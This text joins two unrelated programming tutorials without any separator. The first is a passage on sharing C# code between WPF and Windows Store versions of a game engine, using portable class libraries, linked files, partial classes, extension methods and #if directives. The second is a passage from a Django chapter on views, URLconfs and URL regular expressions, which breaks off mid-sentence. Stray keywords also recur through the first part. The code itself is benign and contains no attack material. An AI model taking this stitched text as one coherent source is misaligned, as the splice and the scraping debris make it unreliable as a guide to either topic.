can be referenced from various platforms. The library is our shared code model. In the end we will try to put as much as possible into a Portable Class Library, since we can target it very easily from a bunch of platforms. In the case of this article we just use two platforms: WPF (.NET 4.5) and Windows Store (8.1). This restricts the subset of .NET and includes other methods. In general we can say that the more platforms we try to target with our PCL, the smaller the available subset of the .NET-Framework will be. The subset of the .NET-Framework is represented by the intersection in the picture above. An intersection of N platforms will never contain more elements than the intersection of N - 1 platforms. This can be continued until we find that it is almost certain to have a natural limitation as compared to just support a single platform. Using the PCL as a basis eliminates almost all the upcoming techniques. But wait! Why are they then still listed here? Because in the end we will specifically target a certain platform. There is no Portable Application project. So specializations have to be included at some stage. And of course these specializations should be as flexible and maintainable as possible. Hence we require some techniques for efficient code sharing and some elegant preparations. An important tool is the ability to just link against files within Visual Studio projects. Usually if we add items to a project, Visual Studio will either copy an original file, or create a new one. This is not what we want. If we have two copies of a file, we need to make the same changes to both files. Sometimes we want only a fraction of a file to be shared across several projects, with a certain part being specialized. This will be covered in the next section. However, before we discuss this technique, we should clarify how the common part can be shared efficiently between various projects. The most elegant way is to create a link to an existing file. So we open a new dialog to add an existing item to the desired project: Please note that just double clicking on a file will result in creating a physical copy of the file. This is not what we want. We have to select "Add As Link" explicitly. Now we just added a reference to the file within the project, i.e. there is no physical file on the given location. Linking files is really important for sharing code between multiple projects. Now that we know how to link files for sharing code, let's see how we can make that very efficient, such that only a minimum of changes is required for each platform. The idea of a partial class is simple. In order to avoid having a file that contains a single class with possibly thousands of lines we might split up the class into parts that will be saved in different files. Initially that was introduced to solve the problem of mixing designer generated code and user code. Finally it was possible to hide the auto-generated code in an unobtrusive manner. This concept, however, can be used to reduce copy / paste and therefore maintenance for sharing a class that consists partially of code that can be shared, and partially of code that cannot be shared. We start with the following construct: //MySharedClass.cs public class MySharedClass { /* Code that can be shared */ /* Code that cannot be shared and must be (re-)implemented for (each or at least some) platforms */ } Now of course we need to add the partial keyword. Additionally we should create the platform specific partial implementations. partial //MySharedClass.cs public partial class MySharedClass { /* Code that can be shared */ } //MySharedClass.WPF.cs class MySharedClass { /* Specific code for WPF */ } //MySharedClass.WindowsStore.cs class MySharedClass { /* Specific code for Windows Store */ } Now the only question is: Where to place these files? There are many possible answers to this question. We can filter these answers if we have a strong opinion how to organize our code. Let's consider: In the first case we might want to create a solution folder that contains all the partial class files. Each project now gets a link to this partial class file and its own implementation for the specific code section, i.e. a physical file that extends the linked partial class file. In the second case we could create everything on one platform first. Then the other platforms will get a link to the partial class file that is contained in the more important platform project. However, every project will still have a physical file that contains the specific code, which extends the partial class file. Finally in the mixed scenario we might want to either follow the way demonstrated in the first scenario, or the way in the second scenario (but for each project). Of course the first way might be a lot more organized, however, the second way may be more straight forward. In the end we should not mix the two approaches. That means we should not have a shared folder, but still provide some shared implementations physically within a specific project. Either we follow the "originates has physical" pattern, or the "shared within shared" method. Extension methods are true gold. If you don't believe me then think about the following: What makes LINQ possible? Is it lambda expressions? Elegant, but well, I could just pass in references to existing functions or create anonymous functions using the delegate syntax. Is it the possibility to write SQL like code in C#? Personally I don't like it and I never use it. The only advantage I see is an easier declaration of intermediate variables using the let keyword, however, I usually prefer doing it manually. Which brings us back to extension methods. Without them we would write onion-like LINQ code that would look similar to the following: delegate let var dataSource = new [] { 1, 2, 3, 4, 5, 10, 15, 20, 26 }; var querySet = SomeClass.Take(SomeClass.Select(SomeClass.Where(dataSource, m => m % 5 == 0), m => m * m), 3); Here I just pretend that all these methods can be found in the same class that is called SomeClass (within the usual namespace System.Linq). I know you can guess what the call does, however, I am also sure that you needed some seconds before you fully understood the code. SomeClass System.Linq Let's see how this changes with extension methods: var dataSource = new [] { 1, 2, 3, 4, 5, 10, 15, 20, 26 }; var querySet = dataSource.Where(m => m % 5 == 0).Select(m => m * m).Take(3); The onion is now a nice pipe. We start on the left and end on the right. We can read it like we read a sentence. That's just wonderful. My point now is not, that we start from left to right, but that the class SomeClass is completely missing. We just don't have to know what it is called. This is super great for refactoring. Does it matter what the name of the class that provides these methods is? No. Only the namespace matters and that it is included in the compilation process. And this ability comes in very handy for sharing code. But before I go into details I have to warn you. There are limitations to sharing code using extension methods. And most of these limitations come from the word methods. If we deal with properties, concrete class names or other special cases we are lost. Let's consider reflection as an example. In the following snippet we just want to find out if a given Type instance if the subclass of another Type object. Usually we have: Type var result = typeof(FirstClass).IsSubclassOf(typeof(SecondClass)); The code snippet has been implemented in .NET (e.g. version 4.5). However, once we try running this snippet on the Windows Store application, we will see that it won't work. Reflection (out-of-the-box) does only offer limited possibilities. A little bit more can be accessed by using the GetTypeInfo() extension method, which can be found in the System.Reflection namespace. GetTypeInfo() System.Reflection var result = typeof(FirstClass).GetTypeInfo().IsSubclassOf(typeof(SecondClass)); This gives us two possibilities: //First possibility: public static bool IsSubclassOf(this Type origin, Type compare) { return origin.GetTypeInfo().IsSubclassOf(compare); } //Second possibility: public static Type GetTypeInfo(this Type origin) { return origin; } The first possibility let's use us the WPF code within a Windows Store app. The second one describes the scenario the other way around. Here we can use the code from the Windows Store app within a WPF application. Which one is better? It depends! Both have advantages and pitfalls. Let's start with a simple observation: While the "real" GetTypeInfo method from Windows Store applications returns a TypeInfo instance, we just use the method to return the identity, which is of type Type. This will usually work when the type is inferred or implicitly used. But once we require specific methods from TypeInfo or need to create variables with explicit types, we are out of luck. Additionally this already illustrates a major problem: Methods may differ by their name, signature or other properties. This is actually one of the reasons for the GetTypeInfo() method. TypeInfo Having a specific method such as the IsSubclassOf also just works if the signature matches. In reality it makes more sense to implement extension methods for all platforms. That way, one does not need to worry about placing the extension methods on the right places. The methods exists on every platform, but is specifically implemented for each platform individually. IsSubclassOf We would have: //In the Windows Store project static WindowsStoreExtensions { public static bool DerivesFrom(this Type origin, Type compare) { return origin.GetTypeInfo().IsSubclassOf(compare); } } //In the WPF project static WpfExtensions { public static bool DerivesFrom(this Type origin, Type compare) { return origin.IsSubclassOf(compare); } } Now a shared code could just use the DerivesFrom method, without worrying. Additionally such a strategy allows us to circumvent implementation details and properties. Instead of properties we would use methods. DerivesFrom Let's have a look at an example, which illustrates this solution again: //In the Windows Store project static WindowsStoreExtensions { public static IEnumerable<PropertyInfo> ListProperties(this Type origin, BindingFlags flags) { return origin.GetTypeInfo().DeclaredProperties; } } //In the WPF project static WpfExtensions { public static IEnumerable<PropertyInfo> ListProperties(this Type origin, BindingFlags flags) { return origin.GetProperties(flags); } } Even though obtaining the properties using the TypeInfo object in Windows Store applications is based on accessing a property, we can hide this detail in the concrete implementation. We should note, however, that we extended our signature to support an additional BindingFlags argument. This one is then not used in Windows Store, but we still need to supply it. BindingFlags It should not be the default case, but it might happen at some point. It will definitely happen that one platform has more capabilities than another. This is nothing to worry about, unless these restrictions will result in different behaviors. Once we encounter this, we need to adjust the implementation. In the end our goal should be to have similar / equal results on different platforms from a code behavioral perspective. The ability to have code that might be shared across different platforms can be divided into two categories, as we have seen. On the one side we have the library top-to-bottom approach, where we specialize within each library. In the other approach we have a side-by-side strategy, where we originate in one library and link to the original source file in another library. Whatever we do, we need some structure in the code. If we have too strong platform dependencies, we cannot place the code in a more general library. Additionally it is impossible to just link against the file (at least without using the techniques mentioned before, and after this section). To gain a proper structure we have to go back to the principles and patterns of OOP. By using SOLID (especially OCP and DIP) principles, we will structure our code to have enough abstraction and generalization to fit into either model (top-to-bottom or side-by-side). Now we see why interfaces are crucial for cross-platform development. On the one hand we follow DIP and base everything on abstraction, an abstraction that does not depend on details. On the other hand we may implement an interface on whatever class we'd like to - even though we already have to implement another class. Therefore our strategy is to always absorb as much cross-platform (independent) code as possible into base classes. Specializations that maybe have some kind of third party dependency will be small and require abstractions. In this scenario I consider WPF to be a third party dependency. The game engine follows this path naturally. Even though the rendering requires some kind of UI object, it does not depend on WPF. Instead it just requires objects of type IDrawableEntity. This contains everything the rendering engine needs to know. In a concrete implementation the rendering engine may require further information, but this is not the problem of the general definition. IDrawableEntity To follow the patterns described in the previous section we should also expose dependencies over properties or the constructor. This will reduce couplings as some class does not need to know where to find a concrete implementation of some abstraction (interface). Using a service locator or even better, an Dependency Injection system (that uses an IOC container), is therefore highly recommended. This basically automates the creation of objects by resolving the dependencies. Sometimes all the techniques mentioned previously fail. A great example is delivered by XAML code. While XAML code itself is mostly portable between WPF and Windows Store applications (speaking of a UserControl that just uses controls, which are available on both platforms), the code behind is not. Let's have a glance at the WPF version of the code-behind of a very simple XAML control. using System; using System.Windows.Controls; namespace QuantumStriker.Xaml { public partial class EnemyShip : UserControl { public EnemyShip() { InitializeComponent(); } public void SetHealthBarTo(Double percent) { HealthBar.Width = 24.0 * percent; } } } That does not look too bad. Actually most people would not realize that changes are required for this snippet to run in Windows Store environments. Let's see how the Windows Store equivalent looks like: using System; using Windows.UI.Xaml.Controls; namespace QuantumStriker.Xaml { public partial class EnemyShip : UserControl { public EnemyShip() { InitializeComponent(); } public void SetHealthBarTo(Double percent) { HealthBar.Width = 24.0 * percent; } } } Nearly the same code? Yes, indeed. But a very crucial change, that prevents, e.g., the partial class technique, from being applied. We need different namespaces! Wow. Thanks Microsoft! You actually keep the same names for 95% of your controls, but you change the namespace. Great job! Even though that might make sense on an organizational level, it does not make much sense for people who write (or want to share) code. Why? There is not even remotely a chance of having a collision between the WPF controls and the Windows Store controls. However, such a collision is the reason why we have namespaces in the fist place. What does that mean? Using a different namespace is just annoying. But let's have a look on the bright side. We now have the chance to introduce the #define preprocessor instruction. It allows us to define symbols that can be evaluated using preprocessor statements such as #if. Even better, we can also define such symbols globally on a project level in the project settings. And the best: Sometimes such symbols are already defined. An example would be the DEBUG symbol, that is defined for the default project target Debug. #define #if DEBUG using System; #if NETFX_CORE using Windows.UI.Xaml.Controls; #else using System.Windows.Controls; #endif namespace QuantumStriker.Xaml { public partial class EnemyShip : UserControl { public EnemyShip() { InitializeComponent(); } public void SetHealthBarTo(Double percent) { HealthBar.Width = 24.0 * percent; } } } Of course we could introduce a symbol for every project. In general, however, it is much better to use an existing symbol. Lucky as we are, we can use the symbol NETFX_CORE, which is defined for Windows Store targets. Now we can use the exact same file in both projects. NETFX_CORE Sometimes everything fails and it is impossible to define a common interface, rely on extension methods or just switch some blocks of code using the preprocessor. Sometimes the most efficient thing is actually the least efficient, which is a complete re-implementation. At first that sounds crazy. But if we think about UI related issues, we will eventually come to the conclusion that different platforms will not only provide different UI frameworks, they will also follow different UI behaviors and styles. Therefore we might need to re-work most of our (UI) code anyway. It should be obvious that starting from scratch is then better than trying to mimic the previous work. There are good reasons to support this statement. In the end such a rewrite might therefore be beneficial for the user (better experience) and the programmer (less head scratching on how to share nearly 100% incompatible code). Nevertheless sometimes one should think before rewriting... For instance maybe the code one thinks is incompatible may be re-used when just rewriting the various components for each platform. This way the code may be re-used and (even better), all other code may also be re-used. But such an approach is only possible if we constructed our UI on smaller blocks. And only if these smaller blocks are nearly independent. Once they have to interact, e.g., over drag-and-drop, with each other, we might be lost. As we started with WPF, there are hardly any restrictions on this platform (from our point of view) regarding our code. However, in general Windows Store might be superior in some scenarios (especially touch). Nevertheless, besides some special areas we can always count that WPF offers more possibilities. If we would start a project from scratch, it would make sense to design everything for the platform that offers the most restrictions. That way we will eventually run into less problems later on. If we design for the platform with the least restrictions, we will have to tweak our application as the current article shows. Both ways are legit, but why should we do it the hard way? Again, in this case the application had already been written for WPF, requiring us to tweak the current code. In the end we can take away interesting lessons for designing and writing cross-platform applications. The WPF specific connection to the engine is done over the following configuration file. namespace QuantumEngine { public class AvalonConfig : Config { static AvalonView view; protected override IEnumerable<Type> LoadTypes() { yield return typeof(AvalonSoundManager); yield return typeof(AvalonPresentation); yield return typeof(AvalonDebugBox); yield return typeof(AvalonTimer); yield return typeof(AvalonKeyboardInput); yield return typeof(AvalonMouseInput); yield return typeof(AvalonTouchInput); } internal static AvalonView View { get { return view; } } public static void Register(Window window) { view = new AvalonView(window); } } } The most important thing is the creation of an AvalonView instance, which basically builds upon the given Window instance (since this is highly WPF specific). AvalonView Window namespace QuantumEngine { sealed class AvalonView { public event EventHandler<TouchCollectionEventArgs> Touched; Window parent; public AvalonView(Window window) { var source = PresentationSource.FromVisual(window) as HwndSource; parent = window; DisableWPFTabletSupport(); if (source != null) { source.AddHook(WndProc); RegisterTouchWindow(source.Handle, 0); } } /* Touch specific native API handling */ } } This special view instance is then used internally to connect the WPF specific controllers (e.g. AvalonTouchInput) to the event dispatchers. AvalonTouchInput The Windows store part was definitely more head scratching. A big problem is audio. We solved this easily in WPF using NAudio, but as NAudio relies on native APIs and direct stream access, it is of course not available for the Windows store platform. A natural replacement appears with SharpDX. This is a nice wrapper around the DirectX API, which may be fully accessed within Windows Store applications. However, even though this solution seems fully suited for our needs, there is one remaining problem: SharpDX can't handle MP3 files (at least without SharpDX.MediaFoundation). This is a huge drawback as the background sounds are saved in the MP3 format. Nevertheless, if we would really go this path to the end, we would just use a format that is compressed and readable by both platforms. SharpDX.MediaFoundation The configuration file for the Windows store app looks similar to the one from WPF. Here we wrote the following code: namespace QuantumEngine { public class MetroConfig : Config { static CoreWindow view; public MetroConfig() { view = CoreWindow.GetForCurrentThread(); } protected override IEnumerable<Type> LoadTypes() { yield return typeof(MetroSoundManager); yield return typeof(MetroPresentation); yield return typeof(MetroDebugBox); yield return typeof(MetroTimer); yield return typeof(MetroKeyboardInput); yield return typeof(MetroMouseInput); yield return typeof(MetroTouchInput); } internal static CoreWindow View { get { return view; } } } } Again we are returning a collection of special types that are provided by our specialization of the quantum engine. Even though this is not a real service container, this is something like a very very lightweight and not fully flexible service locator. The Config class, as it is defined in the quantum engine (portable class) library, knows how to create instances of these provided types. Config Here we do not need to define a special kind of view. In a Windows store application there is always a special class called CoreWindow. By using the static GetForCurrentThread() method, we can obtain the CoreWindow instance for the current thread. Since we know, that this part of the code will only be called from the main thread, we can simply use this method. In general, however, we would specify a dependency on CodeWindow. Then some other method would be required to resolve the dependency. CoreWindow GetForCurrentThread() CodeWindow The controller implementations for the Windows store platform then may use this. The following code is the implementation of the touch controller. namespace QuantumEngine.Controller { sealed class MetroTouchInput : TouchInput { public MetroTouchInput(IGame game) { MetroConfig.View.PointerPressed += PointerHandler; MetroConfig.View.PointerReleased += PointerHandler; MetroConfig.View.PointerMoved += PointerHandler; Game = game; } void PointerHandler(CoreWindow sender, PointerEventArgs e) { if (IsCaptured && e.CurrentPoint.PointerDevice.PointerDeviceType != PointerDeviceType.Mouse) { var pos = e.CurrentPoint; if (pos.IsInContact) _touchPoints[(Int32)pos.PointerId] = new QPosition(pos.Position.X, pos.Position.Y); else _touchPoints.Remove((Int32)pos.PointerId); e.Handled = true; } } } } The controller basically uses the CoreWindow to register a listener for the most elementary and basic touch events available. As we use the CoreWindow, we can also be sure to handle the event in any case. When the initial version was finished, the number of projects in the solution could be counted on one hand. The original layout of the solution looked like the following image: Of course the platform considerations for supporting two distinct platforms doubled some projects and introduced shared projects. In the end the solution has changed to look as follows: Needless to say that the given picture only shows half of the story. Here we just supplied another platform for the engine. It is obvious that the other parts might double as well. In the end we have 10 projects, where we started with 5. So we added 2 more projects for the engine and 3 more projects for the app. We started with an engine that was tightly coupled to the input layer project. The first action has been to decouple this structure. This was done in three steps: Now we are already platform independent, since we just have to create another project, reference the specialized engine (in this case for Windows Store) and we are good. However, this would be a nightmare, as the application also contains a lot of code, e.g., the enemies, ships, story, ... and much more. Instead of re-creating or copying the code we use techniques such as linking other code, using defines or extension methods. The high number of freshly created projects is quite unusual. In an ideal world the projects Images and Sounds/ would be portable. These projects just embed resources. However, resource management changed from .NET applications to Windows Store applications. This is really unfortunate, as I think that the old way was a lot more transparent, comfortable and extensible. Where is my byte stream now? Anyway, we can share the underlying resource (i.e. images and sounds), but we cannot share the projects. We need to create two separate projects, one for Windows Store and one for WPF, to provide resources. The delivered source code contains the full Quantum Engine and most assets. I only removed the sound tracks. The reason for this is a simple one: I did not want to upload dozens of MB just to give you a few sound tracks, that might not be interesting at all. I also removed all game modes except the versus mode. The reason for excluding these game modes is a possible publish process as a Windows Store app. Currently we think about re-styling some parts and publishing the game as a free download on the Windows Store. We might include a network mode if we really publish the app. But that is no criterion for an initial.
http://www.codeproject.com/Articles/796242/Quantum-Striker
CC-MAIN-2015-48
refinedweb
8,184
56.76
I’ve been studying C++ for awhile but i still can’t grasp the usage of arrows -> The Arror(->) is for accessing some thing beyond a pointer. #include <iostream> #include <string> #include <map> int main() { class sample { private: int a; public: int b; void init(int a) {this->a = a;} void display() {cout<<"a: "<<a<<endl;} }; Today we’re talking all about the arrow operator in C++ we’re going to talk about what the arrow operator actually does for both struct and class pointers as well as implement our own arrow operator to see. Syntax: (pointer_name)->(variable_name) How it works so over here my source code of our basic entity class type now if I create this object normally as I probably would like this in full print I have no issues but if this entity object was actually a pointer. So either it’s it was allocated on the heap or maybe I just had a pointer to it for some reason like this in order to call that print function. I can’t actually just use pointer dot print like that because this is just a pointer it’s basically just a numerical value I can’t just called dot print on it. What I have to actually do is dereference that pointer and that can be done like so I can just say entity reference entity for example and then use the asterisk in front of the point like this to dereference it. And then just substitute this with entity and my card works now to avoid this extra line what I could also do is use my pointer but surrounded with parentheses and dereference it like. So now I can’t just write code like this because of operator precedence it’ll actually try and go to the object or print and then dereference the result of print that’s obviously not going to work. So you have you have to actually do the dereferencing first and then call dot print now this this is okay and it works fine. But it looks a little bit clunky so what we can do instead is just use the arrow operator instead of dereferencing the pointer and then calling dot print we can substitute all of that with just an arrow to print like this. And what this actually does is dereference that entity pointer into it just an all entity type and then calls print so that’s pretty much all there is to it it’s just a shortcut for having it for us having to manually dereference events around everything with parentheses. And then call our function or our variable as well instead of doing all that we can just use an arrow worst variable as well if I had some variables over here I’ll just make public int X for example. I could also just you know access X through the arrow like this and then set it equal to whatever I wanted to like so okay cool. So that’s pretty much the default use case for the arrow operator that’s probably how you’re using it 90% of the time however as an operator in C++ it is actually possible to overload it and use it in your own custom classes. And I’ll show you an example of why you might want to do that and how you can do that over here, so suppose that I was writing some kind of smart pointer class to point up to keep it simple. I’m just going to have it have an entity pointer when I construct this script pointer I’m going to take in an entity as a parameter here and then assign it to my object in the destructor. I’m going to call delete entity or delete M ulchhhh and so now I’ve got a basically scope to point a class that will automatically delete my entity when it goes out of scope so I can use it like source code pointer entity equals new entity and that looks pretty good now. I want to actually be able to call this print function or access this X variable so how do I do that well right now I can’t really like I can use dots but then like I could make either this public or maybe I could just have something that returns an entity pointer like yet object like this maybe that will return my object that just looks way too messy. I want to be able to use it like a heap-allocated entity right I want to be able to use it as if I’d written code like this which would mean that I could just write well that and it would work fine. I want to be able to just substitute this and have it kind of be used the same way well that’s where you can overload the arrow operator make it do that for you instead of get object. I can write entity pointer operator hour with no parameters like this and then just return em all and you can see suddenly this compiles and will run just fine if I hit f5 there you go. You can see that it’s calling my function and printing hello now in the case of this being Const you could also provide a constellation of this operator so I’ll copy and paste this have a return a Constanta T and Mark the operators Const like this and that will now return a Const version of this and of course. I’ve marked this function as constic it wasn’t constituency I’m not able to call that function so the function has to be marked as Const over here as well and everything basically works as if this was just a Const pointer like that no difference but now of course since it is a scoped pointer I voted the deletion of this actual object pretty cool stuff. So that’s how you can overload the arrow operator to function in your own classes it’s very powerful it’s very useful because you can see that you can start to kind of define your constructs and urine types in the language and automate things and it looks like normal code which is exactly what we want a lot of people will argue that. That’s a bit confusing because yeah it might look like normal code but it’s not however I think that if you use it properly and if you’re sensible about it then this this is actually really useful and can help keep your code really clean. So fun I’m going to show you one more way how we can actually use the arrow operator to get the offset of a certain member variable in memory so this is kind of like a little bonus segment. I guess of this episode but it has to do with the arrow operator soil I’ll put it in let’s just say that we have a struct here maybe called vector 3 and we basically just have a 3 in front of back to float X Y Z like this. Now suppose that I actually wanted to find out what the offset of this Y variable was in memory so we know that this struct is structured out of floats of course. So it’s got float X Y and said each float is 4 bytes so the offset of X is going to be 0 it’s the first thing in the struct Y is going to be 4 because it’s 4 bytes into the struct and then finally set is going to be 8 bytes. But what happens if I suddenly move this around then well the class is gonna work the same way but they’re going it’s going to have a different layout in memory. So maybe I want to write something for myself that actually tells me the offset of each of these members and I can do something like that using the arrow operator. So what I want to do is kind of access these variables but instead of from a valid memory address just from 0 so this is kind of hard to explain but if I’ll but I’ll show you what I mean I’m literally going to write 0 and then cost this into a vector 3 pointer like. So and then use the arrow to access X and this is going to give me this is going to try and give me some kind of piece of invalid memory but what I’m going to do is actually take the memory address of that X. So now what I’m doing is basically getting the offset of that X because I’m starting at 0 this could also be written as null pointed by the way and if I finally take that and just cost it to a regular integer and write offset over here. I’ll print that and I’ll hit up five you can see it gives me zero so what I’ll do next is I’ll change this to be Y and check out what that looks like for that seems right. And then I’ll change it to Zed and of course the value should be eight and you can see that it is so what we’ve done here is we’ve used the arrow operator to basically get the offset of a certain value in memory pretty cool stuff and this is actually very useful for, when you’re serializing data into like a stream of bytes. And you want to figure out offsets of certain things and we’ll kind of get into this kind of exciting code when we start doing the graphics programming series. Difference between Dot(.) and Arrow(->) operator: - The Dot(.) operator is used to normally access members of a structure or union. - The Arrow(->) operator exists to access the members of the structure or the unions using pointers. C++ Arrow Operator in Class Example #include<iostream> class A { public: int b; A() { b = 5; } }; int main() { A a = A(); A* x = &a; std::cout << "a.b = " << a.b << "\n"; std::cout << "x->b = " << x->b << "\n"; return 0; } Output This will give the output − 5 Arrow operator overloading in C++ The dereferencing operator-> can be defined as a unary postfix operator. That is, given a class − myClassIterator.operator->()->APublicMethodInMyClass() Objects of class Ptr can be used to access members of class X in a very similar manner to the way pointers are used. For example − void f(Ptr p ) { p->m = 10 ; // (p.operator->())->m = 10 } Dot operator C++ Dot (.) operator is known as “Class Member Access Operator” in C++ programming language, it is used to access public members of a class. Public members contain data members (variables) and member functions (class methods) of a class. a dot (.) is actually an operator in C++ which is used for direct member selection via object name.
https://epratap.com/cpp-arrow-operator/
CC-MAIN-2021-10
refinedweb
1,869
52.06
The Raspberry Pi does not have any analog inputs, but that does not mean that you can’t use some types of analog sensors. Using a couple of resistors and a capacitor, you can use a “step response” method to measure resistance. Which is just great if you are using a pot, photoresistor or thermistor. The Recipe that follows is taken from my new book “The Raspberry Pi Cookbook”. This way of using sensors was inspired by this work from Adafruit. To make this recipe, you will need: • Breadboard and jumper wires • 10kΩ trimpot • Two 1kΩ resistors • 220 nF capacitor Open an editor (nano or IDLE) and paste in the following code. As with all the program examples in this book, you can also download the program from the Code section of import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BCM) a_pin = 18 b_pin = 23 def discharge(): GPIO.setup(a_pin, GPIO.IN) GPIO.setup(b_pin, GPIO.OUT) GPIO.output(b_pin, False) time.sleep(0.005) def charge_time(): GPIO.setup(b_pin, GPIO.IN) GPIO.setup(a_pin, GPIO.OUT) count = GPIO.output(a_pin, True) while not GPIO.input(b_pin): count = count + 1 return count def analog_read(): discharge() return charge_time() while True: print(analog_read()) time.sleep(1) When you run the program, you should see some output like this: $ sudo python pot_step.py 10 12 10 10 16 23 43 53 67 72 86 105 123 143 170 The reading will vary between about 10 and about 170 as you rotate the knob of the trimpot. Discussion To explain how this program works, I first need to explain how the step response technique can be used to measure the resistance of the variable resistor. This way of doing things is called step response because it works by seeing how the circuit responds from the step change when an output is switched from low to high. You can think of a capacitor as a tank of electricity, and as it fills with charge, the voltage across it increases. You can’t measure that voltage directly, because the Raspberry Pi doesn’t have an ADC converter. However, you can time how long it takes for the capacitor to fill with charge to the extent that it gets above the 1.65V or so that constitutes a high digital input. The speed at which the capacitor fills with charge depends on the value of the variable resistor (Rt). The lower the resistance, the faster the capacitor fills with charge and the voltage rises. For more detail: Analog Sensors without Analog Inputs
https://projects-raspberry.com/analog-sensors-without-analog-inputs-on-the-raspberry-pi/
CC-MAIN-2019-13
refinedweb
427
72.36
. Next,, and, as such, it takes an HttpRequest object as its first parameter. Each view function takes an HttpRequest object as its first parameter. In this case, we call that parameter request. Note that the name of the view function doesn’t matter; Django doesn’t care what it’s called, and. (How does Django find this function, then? We’ll get to that in a moment.).” (A note to the HTML purists: Yes, we know we’re missing a DOCTYPE, and a <head>, and all that stuff. We’re trying to keep it simple.) Finally, the view returns an HttpResponse object that contains the generated HTML. Each view function is responsible for returning an HttpResponse object. (There are exceptions, but we’ll get to those later.) So, to recap, this view function returns an HTML page that includes the current date and time. But where should this code live, how do we tell Django to use this code? The answer to the first question is: This code can live anywhere you want, as long as it’s on your Python path. There’s no other requirement — no “magic,” so to speak. For the sake of putting it somewhere, let’s create a file called views.py, copy this view code into that file and save it into the mysite directory you created in the previous chapter. Your Python path The Python path is the list of directories on your system where Python looks when you use the Python import statement. For example, let’s say your Python path is set to ['', '/usr/lib/python2.4/site-packages', '/home/my/my.) How do we tell Django to use this view see here is the variable urlpatterns. This'^now/$', current_datetime), ) We made two changes here. First, we imported the current_datetime view from its module (mysite/views.py, which translates into mysite.views in Python import syntax). Next, we added the line (r'^now/$', /now/? There’s no need to add a slash at the beginning of the '^now/$' expression in order to match /now/. Django automatically puts a slash before every expression. '^now/' (without a dollar sign at the end), then any URL that starts with now/ would match — such as /now/foo and /now/bar, not just /now/. Similarly, if we had left off the initial caret character ('now/$'), Django would match any URL that ends with now/ — e.g., /foo/bar/now/. Thus, we use both the caret and dollar sign to ensure that only the URL /now/ matches. Nothing more, nothing less. To test our changes to the URLconf, start the Django development server, as you did in Chapter — and you should see the output of your Django view. Hooray! You’ve made your first Django-powered Web page. We should point out several things about what just happened. Here’s the nitty-gritty of what goes on when you run the Django development server and make requests to Web pages: The command python manage.py runserver looks for a file called settings.py. This file contains all sorts of optional configuration for this particular Django instance, but one of the most important settings is one called ROOT_URLCONF. The ROOT_URLCONF setting tells Django which Python module should be used as the URLconf for this Web site. Remember when django-admin.py startproject created the files settings.py and urls.py? Well, the auto-generated settings.py has a ROOT_URLCONF that points to the auto-generated urls.py. Convenient. When a request comes in — say, a request to the URL /now/ — a HttpRequest object as the first parameter to the function. (More on HttpRequest later.) The view function is responsible for returning an HttpResponse object. With this knowledge, you know the basics of how to make Django-powered pages. It’s quite simple, really — just write view functions and map them to URLs via URLconfs. Now’s a good time to point out a key philosophy behind URLconfs, and behind Django in general: the principle of loose coupling. Simply put, loose coupling is a software-development approach that values the importance of making pieces interchangeable. If two pieces of code are “loosely coupled,” then making changes to one of the pieces will have little basic PHP (), for example, the URL of your application is designated by where you place the code on your filesystem. In the CherryPy Python Web framework (), the URL of your application corresponds to the name of the method in which your code lives. This may seem like a convenient shortcut in the short term, but it can get unmanageable in the long run. For example, consider the view function we wrote above, which displays the current date and time. If we wanted to change the URL for the application — say, move it from /now/. And we’ll continue to point out examples of this important philosophy throughout this book. In our URLconf thus far, we’ve only defined a single URLpattern — the one that handles requests to the URL /now/. What happens when a different URL is requested? To find out, try running the Django development server and hitting a page such as or, or even (the site “root”). You should see a “Page not found” message. (Pretty, isn’t it? We Django people sure do like our pastel colors.) Django displays this message because you requested a URL that’s not defined in your URLconf. automatically when you start it. In our first view example, the contents of the page — the current date/time — were dynamic, but the URL (“/now/”) was static. In most dynamic Web applications, though, a URL contains parameters that influence the output of the page. As another (slightly contrived) example, let’s create a second view, which displays the current date and time offset by a certain number of hours. The goal is to craft a site in such a way that the page /now/plus1hour/ displays the date/time one hour into the future, the page /now/plus2hours/ displays the date/time two hours into the future, the page /now/plus3hours/ displays the date/time three hours into the future, and so on. A novice might think to code a separate view function for each hour offset, which might result in a URLconf that looked like this: urlpatterns = patterns('', (r'^now/$', current_datetime), (r'^now/plus1hour/$', one_hour_ahead), (r'^now/plus2hours/$', two_hours_ahead), (r'^now/plus3hours/$', three_hours_ahead), (r'^now/plus4hours/$', four_hours_ahead), ) Clearly, this line of thought is flawed. Not only would this result in redundant view functions, but!” That’d be something like /now /now/plus3hours/ above, a URLpattern is a regular expression, and, hence, we can use the regular expression pattern \d+ to match one or more digits: from django.conf.urls.defaults import * from mysite.views import current_datetime, hours_ahead urlpatterns = patterns('', (r'^now/$', current_datetime), (r'^now/plus\d+hours/$', hours_ahead), ) This URLpattern will match any URL such as /now/plus2hours/, /now/plus25hours/ or even /now/plus100000000000hours/. Come to think of it, let’s limit it so that the maximum allowed offset is 99 hours. That means we want to allow either one- or two-digit numbers; in regular expression syntax, that translates into \d{1,2}: (r'^now/plus\d{1,2}hours/$', hours_ahead), (When building Web applications, it’s always important to consider the most outlandish data input possible, and decide whether the application should support that input or not. We’ve curtailed the outlandishness here by limiting the offset to 99 hours. And, by the way, The Outlandishness Curtailers would be a fantastic, if verbose, band name.) Regular expressions Regular expressions (or “regexes”) are a compact way of specifying patterns in text. While Django URLconfs allow arbitrary regexes for powerful URL-matching capability, you’ll probably only use a few regex patterns in practice. Here’s a small selection of common patterns: For more on regular expressions, see Appendix XXX, Regular Expressions.'^now/plus(\d{1,2})hours/$','^now/$', current_datetime), (r'^now/plus(\d{1,2})hours/$', hours_ahead), ) With that taken care of, let’s write the hours_ahead view. ..admonition:: Coding order In this case, we wrote the URLpattern first and the view second, but in the previous example, we wrote the view first, then the URLpattern. Which technique is better? Well, every developer is different. If you’re a big-picture type of person, it may make most sense to you to write all of the URLpatterns for your application at the same time, at the start of your project, then coding up the views. This has the advantage of giving you a clear to-do list, and it essentially defines the parameter requirements for the view functions you’ll need to write. If you’re more of a bottom-up developer, you might prefer to write the views first, then anchor them to URLs afterward. That’s OK, too. In the end, it comes down to what fits your brain the best. Either approach is valid. hours_ahead is very similar to the current_datetime view we wrote earlier, with a key difference: it takes an extra argument, the number of hours of offset. Here it is: from django.http import HttpResponse import datetime /now/plus3hours/, then offset would be the string '3'. If the requested URL were /now/plus21hours/, above.…and break it! Let’s) Now load up the development server and navigate to /now/plus3hours/.. Some highlights: At the top of the page, you get the key information about the exception: the type of exception, any parameters to the exception (e.g., the "unsupported type" message in this case), the file in which the exception was raised and 